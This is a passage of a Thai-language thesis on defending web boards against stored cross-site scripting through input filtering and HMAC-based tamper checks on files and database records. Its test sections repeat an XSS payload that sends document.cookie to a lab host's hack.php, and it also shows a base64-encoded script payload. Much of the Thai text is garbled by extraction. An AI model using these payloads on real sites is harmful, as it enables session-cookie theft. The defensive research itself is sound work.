base64 คือ ค าท่ีตรงกบัค าวา่ base64 
i คือ จะใชอ้กัษรตวัใหญ่หรือตวัเล็กก็ใหค้วามหมายเดียวกนั 
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5.  การกรองขอ้มูลท่ีเป็น TAG อนัตราย 
ในการโจมตีแบบ Cross-site Scripting ไม่เพียงแต่ใช ้ TAG <script> ในการโจมตี

เท่านั้น ยงัมี TAG อ่ืนๆท่ีสามารถใชไ้ด ้ จึงตอ้งท าการกรอง TAG ท่ีคาดวา่จะเป็นอนัตราย โดยน า
ขอ้มูลท่ีป้อนเขา้มา น ามาเขา้ฟังกช์นั filter_tag ก่อนบนัทึกเขา้สู่ฐานขอ้มูล 

  

 
ภาพท่ี 3.24  การกรองขอ้มูลท่ีเป็น TAG อนัตราย 
 
[^>] คือ ตวัอกัษรทุกตวัท่ีไม่ใช่ > 
* คือ token น้ี “มี” หรือ “ไม่มี” ก็ได ้แลว้จะมีก่ีตวัก็ได ้
\s คือ ช่องวา่ง 
i คือ จะใชอ้กัษรตวัใหญ่หรือตวัเล็กก็ใหค้วามหมายเดียวกนั 
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6.  การกรองขอ้มูลค าสั่งท่ีเป็นอนัตราย 
                        การกรองข้อมูลค าสั่งท่ีเป็นอนัตราย โดยน าข้อมูลท่ีป้อนเข้ามาน ามาเข้าฟังก์ชัน  
filter_danger_code ก่อนการบนัทึกเขา้สู่ฐานขอ้มูล 
 

 
 
ภาพท่ี 3.25  การกรองขอ้มูลค าสั่งท่ีเป็นอนัตราย 
 

 วธีิที ่2  การโจมตีโดยบนัทึกค าสั่งการโจมตีครอสไซตส์คริปต้ิง (Cross-Site Scripting)
ไวใ้นไฟลห์รือฐานขอ้มูลโดยตรง วธีิน้ีเม่ือผูใ้ชง้านเขา้ใชง้านหนา้เวบ็ไซตจ์ะท าใหโ้ดนค าสั่งจาก
การโจมตีทนัที 

1.   การโจมตีโดยฝังค าส่ังการโจมตีครอสไซต์สคริปติง้ (Cross-Site Scripting)ไว้ใน 
 ไฟล์ 
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ภาพท่ี 3.26  การโจมตีโดยฝังค าสั่งการโจมตีครอสไซตส์คริปต้ิงไวใ้นไฟล์ 
 

  แนวทางการป้องกันการโจมตีครอสไซต์สคริปติ้ง (Cross-Site Scripting) โดยฝัง
ข้อมูลทีเ่ป็นอนัตรายไว้ในไฟล์ทีเ่วบ็เซิร์ฟเวอร์ 

 
 

ภาพท่ี 3.27  กระบวนการการ hash ไฟลข์อ้มูล 
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ท าการ hash ไฟลโ์ดยใส่ secret key ในการเขา้รหสัอีกชั้นหน่ึงคือ secret ซ่ึงเป็นวธีิการ
แบบ HMAC และท าการตดั string ตั้งแต่ต าแหน่งท่ี 2 ไปจ านวน 9 ตวั เก็บไวใ้นตวัแปรท่ี 1 และตดั 
string ตั้งแต่ต าแหน่งท่ี 14 ไปจ านวน 14 ตวั เก็บไวใ้นตวัแปรท่ี 2 แลว้น าตวัแปรท่ี 2 มาต่อเขา้กบั 
ตวัแปรท่ี 1 เพื่อความปลอดภยัมากข้ึนส าหรับเก็บไวใ้ชใ้นการยนืยนัการตรวจสอบวา่ขอ้มูลในไฟล์
ไม่ไดถู้กแกไ้ข แลว้น าไปบนัทึกเขา้สู่ฐานขอ้มูล 

 

 
 

ภาพท่ี 3.28  ฐานขอ้มูล XSS_D เก็บ hash ไฟลข์อ้มูลของเวบ็ไซต ์
 

  ซ่ึงการเก็บขอ้มูล hash ของไฟล์จะเก็บ ไวใ้นฐานขอ้มูล XSS_D ท่ีแยกออกจาก Web 
System ท่ีตาราง hashfile เพื่อเพิ่มความปลอดภยัจากการโจมตีมากข้ึน 
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ภาพท่ี 3.29  โคด๊ส าหรับการ hash ขอ้มูลไฟล ์
 

 2.  การโจมตีโดยโดยฝังค าส่ังการโจมตีครอสไซต์สคริปติ้ง (Cross-Site Scripting)  
ในฐานข้อมูล 

       เน่ื องจากปัจจุบัน มีการใช้ ระบบการจัดการเน้ือหาของเว็บไซต์  (Content 
Management  System : CMS) ท าใหมี้การเก็บขอ้มูลเน้ือหาต่างๆ ของหนา้เวบ็ไซตไ์วใ้นฐานขอ้มูล 

 

 
 

ภาพท่ี 3.30  ขอ้มูลในฐานขอ้มูลระบบจดัการเน้ือหาของเวบ็ไซต ์
 

 เม่ือถูกโจมตีโดยเข้ามาแก้ไขในฐานข้อมูลจะท าให้ผูใ้ช้งานท่ีเข้าใช้งานเว็บไซต์
ดงักล่าวโดนโจมตีไปดว้ย 
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ภาพท่ี 3.31  การโจมตีครอสไซตส์คริปต้ิงในฐานขอ้มูลระบบจดัการเน้ือหาของเวบ็ไซต ์
 

ซ่ึงจะท าให้ผูท่ี้เปิดใชง้านเวบ็ไซตท์ั้งหมดถูกโจมตีดว้ยค าสั่งท่ีผูโ้จมตีท าการบนัทึกไว้
ในฐานขอ้มูล 
 แนวทางการป้องกนัการฝังค าส่ังทีเ่ป็นอนัตรายไว้ในฐานข้อมูลโดยตรง 

     

                            1                   hash        
       secret key                              secret

    string                    2          9                        1     
    string                    14          14                        2

             2                       1

                                 
                       

  
 

 
ภาพท่ี 3.32  กระบวนการการ hash ขอ้มูลในฐานขอ้มูล 

 
ท าโดยการน าขอ้มูลในฐานขอ้มูลทุกฟิลดใ์น 1 แถว มารวมกนั แลว้ hash ขอ้มูล โดยใส่ 

secret key ในการเขา้รหัสอีกชั้นหน่ึงคือ secret เรียกว่ากระบวนการ HMAC และท าการตดั string 
ตั้งแต่ต าแหน่งท่ี 2 ไปจ านวน 9 ตวั เก็บไวใ้นตวัแปรท่ี 1 และ ตดั string ตั้งแต่ต าแหน่งท่ี 14 ไป
จ านวน 14 ตวั เก็บไวใ้นตวัแปรท่ี 2 แลว้น าตวัแปรท่ี 2 มาต่อเขา้กบัตวัแปรท่ี 1 เพื่อความปลอดภยั
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มากข้ึนส าหรับเก็บไวใ้ช้ในการยืนยนัการตรวจสอบว่าขอ้มูลในฐานขอ้มูลไม่ไดถู้กเปล่ียนแปลง
แกไ้ข แลว้น าไปบนัทึกเขา้สู่ฐานขอ้มูล 

 

 
 
ภาพท่ี 3.33  ฐานขอ้มูล XSS_D เก็บ hash ขอ้มูลในฐานขอ้มูล 
 

ซ่ึงการเก็บขอ้มูล hash ของขอ้มูลในฐานขอ้มูลจะเก็บ ไวใ้นฐานขอ้มูล XSS_D ท่ี 
แยกออกจาก Web System ท่ีตาราง hashdatabase เพื่อเพิ่มความปลอดภยัจากการโจมตีมากข้ึน 

 

 
 
ภาพท่ี 3.34  โคด๊ท่ีท าการ hash ขอ้มูลในฐานขอ้มูล 
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บทที ่4 
ผลการทดลอง 

 
ผลการทดสอบเพื่อป้องกันการโจมตี Cross-site Scripting โดยใช้เทคนิคต่างๆ ดังท่ี

กล่าวไว ้ตั้งแต่ตน้ตามรูปแบบต่างๆ ดงัต่อไปน้ี 
4.1   ผลการป้องกนัโดยกรองขอ้มูลท่ีเป็นอนัตราย 
4.2   ผลการป้องกันการฝังค าสั่งท่ีเป็นอันตรายไว้ในไฟล์หรือฐานข้อมูลโดยการ

ตรวจสอบ ความถูกตอ้งดว้ยวธีิการ hash 
4.3   ผลการทดลองเปรียบเทียบประสิทธิภาพ 
4.4   การเปรียบเทียบกบังานวจิยัอ่ืนๆ 
 

4.1  ผลการป้องกันโดยกรองข้อมูลทีเ่ป็นอนัตราย 
 4.1.1  ผลการทดสอบการกรองสัญลกัษณ์ท่ีมากบัค าสั่งท่ีเป็นอนัตรายโดยเปล่ียนเป็นเลขฐาน 
16  ทดสอบโดยการเรียกใช้ฟังก์ชัน changesymboltohex เพื่อท าการเปล่ียนสัญลกัษณ์ท่ีคาดว่าจะ
แฝงมากบัค าสั่งท่ีเป็นอนัตรายกลายเป็นเลขฐาน 16 แลว้จึงน าไปบนัทึกเขา้สู่ฐานขอ้มูล 

 

 
 
ภาพท่ี 4.1  กรองสัญลกัษณ์ท่ีมากบัค าสั่งท่ีเป็นอนัตรายโดยเปล่ียนเป็นเลขฐาน 16 
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ภาพท่ี 4.1  กรองสัญลกัษณ์ท่ีมากบัค าสั่งท่ีเป็นอนัตรายโดยเปล่ียนเป็นเลขฐาน 16 (ต่อ) 

 
 ทดสอบโดยการใส่ค าสั่งท่ีเป็นอนัตราย  

 <a href=# onclick = \"document.location = \'http://192.168.225.133/project/hack.php?cook = \'+ 
escape\(document.cookie\)\;\">Click_Here</a> 

 เข้าไปท่ี หัวข้อ (topic) ของเว็บบอร์ดแล้วท าการบนัทึกเข้าสู่ฐานข้อมูล เม่ือท าการ
บนัทึกเขา้สู่ฐานขอ้มูลจะได ้ 
&#x3C;a href=# onclick = &#x26;#x22;document.location = &#x27;http:&#x2F;&#x2F; 
192.168.225.133&#x2F;project&#x2F;hack.php?cook = &#x27;+ escape&#x28 ;document 
.cookie&#x29;;&#x26;#x22;&#x3E;Click_Here&#x3C;&#x2F;a&#x3E; 

 ซ่ึงไดท้  าการเปล่ียนสัญลกัษณ์ท่ีคาดว่าจะแฝงมากบัค าสั่งท่ีเป็นอนัตรายให้กลายเป็น
เลขฐาน 16 แลว้ 

 

 
 

ภาพท่ี 4.2  ฐานขอ้มูลท่ีถูกกรองเปล่ียนเป็นเลขฐาน 16 
 
 และเม่ือระบบท าการดึงขอ้มูลจากฐานขอ้มูลกลบัมาแสดงท่ีหนา้เวบ็ไซตก์็จะแปลงจาก

เลขฐาน 16 กลบัมาเป็นสัญลกัษณ์เหมือนเดิมโดยท่ีจะไม่ท าค าสั่งท่ีเป็นอนัตราย ท าให้ผูใ้ช้งานดู
เหมือนไม่ไดมี้การเปล่ียนแปลงขอ้มูลท่ีบนัทึกเขา้ไป 
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ภาพท่ี 4.3  การน ากลบัมาแสดงท่ีหนา้เวบ็ไซตจ์ากฐานขอ้มูลท่ีถูกเปล่ียนเป็นเลขฐาน 16 
 
 จะเห็นวา่มีสัญลกัษณ์บางตวัท่ีไม่แปลงจากเลขฐาน 16 กลบัมาเป็นสัญลกัษณ์ เน่ืองจาก

เบราวเ์ซอร์ยงัไม่รองรับการแปลงกลบั 
      4.1.2 ผลการทดสอบการกรองสัญลกัษณ์ท่ีมากบัค าสั่งท่ีเป็นอนัตรายโดยเปล่ียน 
เป็น HTML NUMBER ทดสอบโดยการเรียกใช้ฟังก์ชัน changesymboltohtmlnum เพื่อท าการ
เปล่ียนสัญลักษณ์ท่ีคาดว่าจะแฝงมากับค าสั่งท่ีเป็นอันตรายกลายเป็น HTML NUMBER แล้ว 
จึงน าไปบนัทึกเขา้สู่ฐานขอ้มูล      
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ภาพท่ี 4.4  กรองสัญลกัษณ์ท่ีมากบัค าสั่งท่ีเป็นอนัตรายโดยเปล่ียนเป็น HTML NUMBER 
 

ทดสอบโดยการใส่ค าสั่งท่ีเป็นอนัตราย  
<a href=# onclick = \"document.location = \'http://192.168.225.133/project/hack.php?cook = \'+ 
escape\(document.cookie\)\;\">Click_Here</a> 

เข้าไปท่ี หัวข้อ (topic) ของเว็บบอร์ดแล้วท าการบันทึกเข้าสู่ฐานข้อมูล เม่ือท าการ
บนัทึกเขา้สู่ฐานขอ้มูลจะได ้
&#60a href=# onclick = &#38#34document.location = &#39http:&#47&#47192.168.225.133& 
#47project&#47hack.php?cook = &#39+ escape&#40document.cookie &#41&#59&#38 #34 
&#62Click_Here&#60&#47a&#62 

ซ่ึงได้ท าการเปล่ียนสัญลกัษณ์ท่ีคาดว่าจะแฝงมากบัค าสั่งท่ีเป็นอนัตรายให้กลายเป็น 
HTML NUMBER แลว้ 
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ภาพท่ี 4.5  ฐานขอ้มูลท่ีถูกกรองเปล่ียนเป็น HTML NUMBER 
 

และเม่ือระบบท าการดึงขอ้มูลจากฐานขอ้มูลกลบัมาแสดงท่ีหนา้เวบ็ไซตก์็จะแปลงจาก 
HTML NUMBER กลับมาเป็นสัญลักษณ์เหมือนเดิมโดยท่ีจะไม่ท าค าสั่งท่ีเป็นอันตราย ท าให้
ผูใ้ชง้านดูเหมือนไม่ไดมี้การเปล่ียนแปลงขอ้มูลท่ีบนัทึกเขา้ไป 

 

 
 
ภาพท่ี 4.6  การน ากลบัมาแสดงท่ีหนา้เวบ็ไซตจ์ากฐานขอ้มูลท่ีถูกเปล่ียนเป็น HTML NUMBER 
 

จะเห็นว่ามีสัญลกัษณ์บางตวัท่ีไม่แปลงจาก HTML NUMBER กลบัมาเป็นสัญลกัษณ์ 
เน่ืองจากเบราวเ์ซอร์ยงัไม่รองรับการแปลงกลบั 

    4.1.3 ผลการทดสอบการกรองสัญลกัษณ์ท่ีมากบัค าสั่งท่ีเป็นอนัตรายโดยเปล่ียน 
เป็น HTML ENTITY ทดสอบโดยการเรียกใช้ฟังก์ชัน changesymboltohtmlname เพื่ อท าการ
เปล่ียนสัญลกัษณ์ท่ีคาดวา่จะแฝงมากบัค าสั่งท่ีเป็นอนัตรายกลายเป็น HTML ENTITY แลว้จึงน าไป
บนัทึกเขา้สู่ฐานขอ้มูล 
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ภาพท่ี 4.7  กรองสัญลกัษณ์ท่ีมากบัค าสั่งท่ีเป็นอนัตรายโดยเปล่ียนเป็น HTML ENTITY 
 

ทดสอบโดยการใส่ค าสั่งท่ีเป็นอนัตราย  
<a href=# onclick = \"document.location = \'http://192.168.225.133/project/hack.php?cook = \'+ 
escape\(document.cookie\)\;\">Click_Here</a> 

เข้าไปท่ี หัวข้อ (topic) ของเว็บบอร์ดแล้วท าการบันทึกเข้าสู่ฐานข้อมูล เม่ือท าการ
บนัทึกเขา้สู่ฐานขอ้มูลจะได ้
&lt;a href=# onclick = &amp;quot;document.location = &apos;http://192.168.225.133/project 
/hack.php?cook = &apos;+ escape(document.cookie);&amp;quot;&gt;Click_Here&lt;/a&gt; 

ซ่ึงได้ท าการเปล่ียนสัญลกัษณ์ท่ีคาดว่าจะแฝงมากบัค าสั่งท่ีเป็นอนัตรายให้กลายเป็น 
HTML ENTITY แลว้  
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ภาพท่ี 4.8  ฐานขอ้มูลท่ีถูกกรองเปล่ียนเป็น HTML ENTITY 
 

และเม่ือระบบท าการดึงขอ้มูลจากฐานขอ้มูลกลบัมาแสดงท่ีหนา้เวบ็ไซตก์็จะแปลงจาก 
HTML ENTITY กลับมาเป็นสัญลักษณ์เหมือนเดิมโดยท่ีจะไม่ท าค าสั่งท่ี เป็นอันตราย ท าให้
ผูใ้ชง้านดูเหมือนไม่ไดมี้การเปล่ียนแปลงขอ้มูลท่ีบนัทึกเขา้ไป 

 

 
 
ภาพท่ี 4.9  การน ากลบัมาแสดงท่ีหนา้เวบ็ไซตจ์ากฐานขอ้มูลท่ีถูกเปล่ียนเป็น HTML ENTITY 
 

จะเห็นว่ามีตัวสัญลักษณ์บางตัวท่ีไม่แปลงจากเลข HTML ENTITY กลับมาเป็น
สัญลกัษณ์ เน่ืองจากเบราวเ์ซอร์ยงัไม่รองรับการแปลงกลบั 

      4.1.4  ผลการทดสอบการกรองค าสั่งท่ีเป็นอนัตรายดว้ยการเขา้รหสัแบบ base_64 
ทดสอบโดยการเรียกใช้ฟังก์ชัน filter_base64 เพื่อท าการเปล่ียนค าสั่งท่ีเป็นการเข้ารหัสแบบ 
base_64 ใหก้ลายเป็นช่องวา่ง แลว้จึงน าไปบนัทึกเขา้สู่ฐานขอ้มูล 
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ภาพท่ี 4.10  กรองขอ้มูลท่ีเป็นอนัตรายท่ีเป็นการเขา้รหสัแบบ base_64 
 

ทดสอบโดยการใส่ค าสั่งท่ีเป็นอนัตราย  
<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgiWW91X3dlcmVf 
aGFjayIpOzwvc2NyaXB0Pg=="></object> 
จากค าสั่งขา้งตน้ เม่ือ Decode การเขา้รหสัแบบbase64 ของ 
PHNjcmlwdD5hbGVydCgiWW91X3dlcmVfaGFjayIpO zwvc2NyaXB0Pg== 
จะไดเ้ป็น 
<script>alert(\”You_were_hacked\”);</script> 
เข้าไปท่ี หัวข้อ (topic) ของเว็บบอร์ดแล้วท าการบันทึกเข้าสู่ฐานข้อมูล เม่ือท าการ

บันทึกเข้าสู่ฐานข้อมูลจะได้ ‘You_cannot_hack’ ซ่ึงได้ท าการเปล่ียนค าสั่งท่ี เป็นอันตรายให้
กลายเป็นค าท่ีตอ้งการ 
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ภาพท่ี 4.11  การบนัทึกท่ีมีการเขา้รหสัแบบ base_64 
 

 
 
ภาพท่ี 4.12  ฐานขอ้มูลท่ีถูกกรองขอ้มูลท่ีเป็นอนัตรายท่ีเป็นการเขา้รหสัแบบ base_64 
 

และเม่ือระบบท าการดึงข้อมูลจากฐานข้อมูลกลับมาแสดงท่ีหน้าเว็บไซต์ก็จะได ้
‘You_cannot_hack’ 

 

 
 

ภาพท่ี 4.13  การน ากลบัมาแสดงท่ีหนา้เวบ็ไซตก์รองขอ้มูล base_64 
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      4.1.5  ผลการทดสอบการกรอง  TAG ท่ีเป็นอันตราย ทดสอบโดยการเรียกใช้ 
ฟังก์ชนั filter_tag เพื่อท าการเปล่ียน TAG ท่ีเป็นอนัตราย ให้กลายเป็นช่องวา่ง แลว้จึงน าไปบนัทึก
เขา้สู่ฐานขอ้มูล 

 

 
ภาพท่ี 4.14  การป้องกนัโดยการกรอง  TAG 
 

ทดสอบโดยการใส่ค าสั่งท่ีเป็นอนัตราย  
<a href = #onclick=\"document.location=\'http://192.168.225.133/project/hack.php?cook=\'+ 
escape\(document.cookie\)\;\">Click_Here</a> 

เข้าไปท่ี หัวข้อ (topic) ของเว็บบอร์ดแล้วท าการบันทึกเข้าสู่ฐานข้อมูล เม่ือท าการ
บนัทึกเขา้สู่ฐานขอ้มูลจะได ้
=#onclick="document.location='http://192.168.225.133/project/hack.php?cook='+escape 
(document.cookie);">Click_Here</a> 
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ภาพท่ี 4.15  ฐานขอ้มูลท่ีถูกกรอง  TAG  
 

และเม่ือระบบท าการดึงขอ้มูลจากฐานขอ้มูลกลบัมาแสดงท่ีหนา้เวบ็ไซตก็์จะได ้
 

 
 
ภาพท่ี 4.16  การน ากลบัมาแสดงท่ีหนา้เวบ็ไซตจ์ากฐานขอ้มูลท่ีถูกกรอง TAG 
 
      4.1.6  ผลการทดสอบการกรองค าสั่งท่ี เป็นอันตราย ทดสอบโดยการเรียกใช้
ฟังก์ชัน filter_danger_code เพื่อท าการเปล่ียนค าสั่ง ท่ีเป็นอนัตราย ให้กลายเป็นช่องว่าง แล้วจึง
น าไปบนัทึกเขา้สู่ฐานขอ้มูล 
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ภาพท่ี 4.17  การกรองค าสั่งท่ีเป็นอนัตราย 
 

ทดสอบโดยการใส่ค าสั่งท่ีเป็นอนัตราย  
<a href = #onclick=\"document.location=\'http://192.168.225.133/project/hack.php?cook=\'+ 
escape\(document.cookie\)\;\">Click_Here</a> 

เข้าไปท่ี หัวข้อ (topic) ของเว็บบอร์ดแล้วท าการบันทึกเข้าสู่ฐานข้อมูล เม่ือท าการ
บนัทึกเขา้สู่ฐานขอ้มูล จะได ้
<a href = #onclick="document.location='http://192.168.225.133/project/hack.php?cook='+ 
escape();">Click_Here</a> 

 

 
 
ภาพท่ี 4.18  ฐานขอ้มูลท่ีถูกกรองค าสั่งท่ีเป็นอนัตราย 
 

 จากการป้องกนัโดยกรองขอ้มูลท่ีเป็นอนัตราย จะพบวา่ สามารถป้องกนัการโจมตีการ
บนัทึกขอ้มูลค าสั่งท่ีเป็นอนัตรายจากผูโ้จมตีโดยการกรองขอ้มูลได ้ดงัน้ี 
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ตารางท่ี 4.1  การกรองขอ้มูลท่ีเป็นอนัตรายก่อนบนัทึกเขา้สู่ฐานขอ้มูล 

 
รูปแบบการกรอง ได ้ ไม่ได ้
กรองสัญลกัษณ์ท่ีเป็นอนัตราย   
กรองข้อมูลท่ี มีการเข้ารหัส

แบบ base64 
  

ก ร อ ง ข้ อ มู ล  TAG ท่ี เ ป็ น
อนัตราย 

  

ก ร อ ง ข้ อ มู ล ค าสั่ ง ท่ี เป็ น
อนัตราย 

  

 
4.2  ผลการป้องกันการฝังค าส่ังที่เป็นอันตรายไว้ในไฟล์หรือฐานข้อมูลโดยการตรวจสอบ ความ
ถูกต้องด้วยวธีิการ hash 
 4.2.1   ผลการป้องกนัการฝังค าสั่งท่ีเป็นอนัตรายไวใ้นไฟล ์
  1. เม่ือมีผูเ้ขา้ใชง้านเวบ็ไซต์ท าการ hash ไฟล์ โดยใส่ key ในการเขา้รหสัอีกชั้นหน่ึงคือ 
secret ซ่ึ ง เป็ น วิ ธี ก ารแบบ  HMAC และท าก ารตัด  string ตั้ งแ ต่ต าแห น่ ง ท่ี  2 ไป จ าน วน  
9 ตวั เก็บไวใ้นตวัแปรท่ี 1 และ ตดั string ตั้งแต่ต าแหน่งท่ี 14 ไปจ านวน 14 ตวั เก็บไวใ้นตวัแปรท่ี 
2 แล้วน าตวัแปรท่ี 2 มาต่อเขา้กบัตวัแปรท่ี 1 เพื่อความปลอดภยัมากข้ึนส าหรับเก็บไวใ้ช้ในการ
ยืนยนัการตรวจสอบว่าข้อมูลในไฟล์ไม่ได้ถูกแก้ไข แล้วน าไปเปรียบเทียบกับข้อมูลท่ีท าการ  
hash เก็บไวใ้นฐานขอ้มูล  
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ภาพท่ี 4.19  กระบวนการตรวจสอบการแกไ้ขขอ้มูลในไฟล ์
 

 
ภาพท่ี 4.20  โคด๊การตรวจสอบการโจมตีโดยแกไ้ขขอ้มูลในไฟล ์
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2.  หากตรวจสอบพบว่าข้อมูลท่ีท าการ hash ไม่ตรงกับข้อมูล hash ท่ีเก็บไวใ้นฐาน 
ขอ้มูล ระบบจะไม่อนุญาตให้ผูใ้ช้งานเขา้ใช้งาน และจะส่งอีเมล์ไปแจง้เตือนผูดู้แลระบบว่ามีการ
แกไ้ขขอ้มูลในไฟล ์

 

 
 

ภาพท่ี 4.21  การแจง้เตือนใหผู้ดู้แลระบบทราบเม่ือถูกแกไ้ขไฟล ์
 
    4.2.1  ผลการป้องกนัการฝังค าสั่งท่ีเป็นอนัตรายไวใ้นฐานขอ้มูล 
    1. เม่ือมีผูเ้ขา้ใชง้านเวบ็ไซต ์ท าโดยการน าขอ้มูลในฐานขอ้มูล site ทุกฟิลด์

ใน 1 แถว มารวมกัน แล้ว hash ข้อมูล โดยใส่ secret key ในการเข้ารหัสอีกชั้ นหน่ึงคือ secret 
เรียกว่ากระบวนการ HMAC และท าการตดั string ตั้งแต่ต าแหน่งท่ี 2 ไปจ านวน 9 ตวั เก็บไวใ้นตวั
แปรท่ี 1 และ ตดั string ตั้งแต่ต าแหน่งท่ี 14 ไปจ านวน 14 ตวั เก็บไวใ้นตวัแปรท่ี 2 แลว้น าตวัแปรท่ี 
2 มาต่อเขา้กบัตวัแปรท่ี 1 เพื่อความปลอดภยัมากข้ึนส าหรับเก็บไวใ้ชใ้นการยนืยนัการตรวจสอบวา่
ขอ้มูลในไฟลไ์ม่ไดถู้กแกไ้ข แลว้น าไปเปรียบเทียบกบัขอ้มูลท่ีท าการ hash เก็บไวใ้นฐานขอ้มูล  
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ภาพท่ี 4.22  กระบวนการตรวจสอบการแกไ้ขขอ้มูลในฐานขอ้มูล 
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ภาพท่ี 4.23  โคด๊การตรวจสอบการโจมตีโดยแกไ้ขขอ้มูลในฐานขอ้มูล 
 
    2.  เม่ือมีผูเ้ขา้ใช้งานท าการตรวจสอบกลบัโดยใช้วิธีท่ีเขา้รหัสจากในฐาน 

ขอ้มูล หากไม่ตรงกนัใหแ้จง้เตือนไม่ใหเ้ขา้ใชง้าน และแจง้ไปในอีเมลข์องผูดู้แลระบบ 
 

 
 

ภาพท่ี 4.24  การแจง้เตือนใหผู้ดู้แลระบบทราบเม่ือถูกแกไ้ขขอ้มูลในฐานขอ้มูล 
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4.3  ผลการทดลองเปรียบเทยีบประสิทธิภาพ 
จากการทดสอบการโจมตีและหาแนวทางป้องกนันั้น สามารถสรุปออกมาได ้ดงัน้ี 
 

ตารางท่ี 4.2  ตารางเปรียบเทียบการโจมตี Cross-site Scripting แลว้ไดผ้ลส าเร็จ 
 

 
4.4  การเปรียบเทยีบกบังานวจัิยอ่ืนๆ 

จากการทดสอบการป้องกนัการโจมตีจะพบวา่ งานวจิยัน้ีสามารถท่ีจะป้องกนัการโจมตี 
ครอสไซต์สคริปต้ิงแบบถาวร (Stored Cross Site Scripting) ได ้เน่ืองจากสามารถท่ีจะป้องกนัการ
บนัทึกขอ้มูลต่างๆท่ีเป็นอนัตรายเขา้สู่ฐานขอ้มูลโดยการกรองขอ้มูล และ ใช้วิธีการ hash ในการ
ตรวจสอบความถูกตอ้งของขอ้มูลไฟล์และฐานขอ้มูลวา่ไม่ไดถู้กเปล่ียนแปลงแกไ้ข ท าใหเ้กิดความ
ปลอดภัยในการใช้งาน  ซ่ึ งไม่ได้ป้องกันในส่วนของ Non-Persistent และ DOM จากการ
เปรียบเทียบการป้องกนักบังานวจิยัอ่ืนๆ จะได ้ดงัน้ี 
 
ตารางท่ี 4.3  ตารางเปรียบเทียบกบังานวจิยัอ่ืนๆ 
 

ตารางเปรียบเทียบกบังานวิจยัอ่ืนๆ 
งานวจิยั Non-Persistent Stored DOM 

งานวจิยัน้ี    

การตรวจจบัปัญหาครอสไซตส์คริปต้ิง 
โดยใชเ้วบ็พร็อกซ่ี[6] 

   

ตารางเปรียบเทียบการโจมตี Cross-site Scripting แลว้ไดผ้ลส าเร็จ 
   ล าดบัการโจมตี ประสิทธิภาพในการป้องกนั 

การโจมตี 
ความง่าย-ยากในขั้นตอน

การโจมตี 
ไม่มีระบบป้องกนั ต ่ามาก ง่าย 

มีการกรองขอ้มูลก่อนบนัทึก 
เขา้สู่ฐานขอ้มูล 

สูง ยาก 

มีการท า hash ขอ้มูลเพื่อใชใ้น
การตรวจสอบ 

สูง ยาก 
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ตารางท่ี 4.3  (ต่อ)  
 

ตารางเปรียบเทียบกบังานวิจยัอ่ืนๆ 
งานวจิยั Non-Persistent Stored DOM 

Enhanced Browser Defense for  
Reflected Cross-Site Scripting [11] 

   

Automated removal of cross site  
scripting vulnerabilities in web  
applications [1] 

   
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บทที ่5 
บทสรุปและข้อเสนอแนะ 

 
5.1  สรุปผลการวจัิย 

จากการทดสอบการโจมตีครอสไซต์สคริปต้ิง (Cross-Site Scripting) สามารถขโมย
ขอ้มูล cookie ของผูใ้ช้งานได ้จึงเป็นเร่ืองส าคญัท่ีจะตอ้งป้องกนั ซ่ึงงานวิจยัน้ีไดเ้สนอวิธีป้องกนั  
2  รูปแบบ 
       5.1.1  วิธีป้องกันด้วยการกรองขอ้มูลท่ีบนัทึกผ่านหน้าเว็บไซต์ก่อนเข้าฐานข้อมูล สามารถ
ป้องกนัการท างานของค าสั่งท่ีเป็นการโจมตีครอสไซตส์คริปต้ิง  
 5.1.2  วิธีป้องกนัดว้ยวิธีการ hash ขอ้มูลเพื่อใช้ในการตรวจสอบการแกไ้ขขอ้มูล ไม่วา่จะเป็น
การแก้ไขในไฟล์ หรือในฐานข้อมูล โดยการฝังข้อมูลท่ี เป็นการโจมตีครอสไซต์สคริปต้ิง  
(Cross-Site Scripting) สามารถป้องกันได้ด้วยวิธีการ hash โดยเก็บข้อมูล ท่ีท า hash ไว้เพื่ อ
ตรวจสอบในเวลาท่ีเขา้ใชง้าน ซ่ึงหากมีการแกไ้ขก็ไม่สามารถเขา้ใช้งานได ้และระบบจะส่งอีเมล์
ไปบอกผูดู้แลระบบ เพื่อจดัการกบัภยัคุกคามท่ีเกิดข้ึนอยา่งทนัเวลา 

 
5.2  ข้อเสนอแนะ 
 5.2.1  วิธีการป้องกนัทั้ง 2 รูปแบบน้ี เป็นการป้องกนัการโจมตีท่ีเซิร์ฟเวอร์เท่านั้น รวมทั้งยงั 
ไม่สามารถป้องกนัการโจมตีไดส้มบูรณ์แบบ ดงันั้น แนวทางในการวิจยัต่อควรศึกษาในประเด็น
การป้องกนัทางฝ่ังผูใ้ชง้านเพิ่มเติม 
 5.2.2  เน่ืองจากการโจมตีมีหลากหลายรูปแบบมากข้ึน และผูโ้จมตีพฒันาความสามารถมากข้ึน 
แนวทางในการวิจยัต่อควรหาวิธีการป้องกนัและทดสอบในรูปแบบอ่ืนเพื่อปรับปรุงวิธีการป้องกนั
ใหรั้บมือกบัการโจมตีในรูปแบบอ่ืนไดอ้ยา่งมีประสิทธิภาพ 
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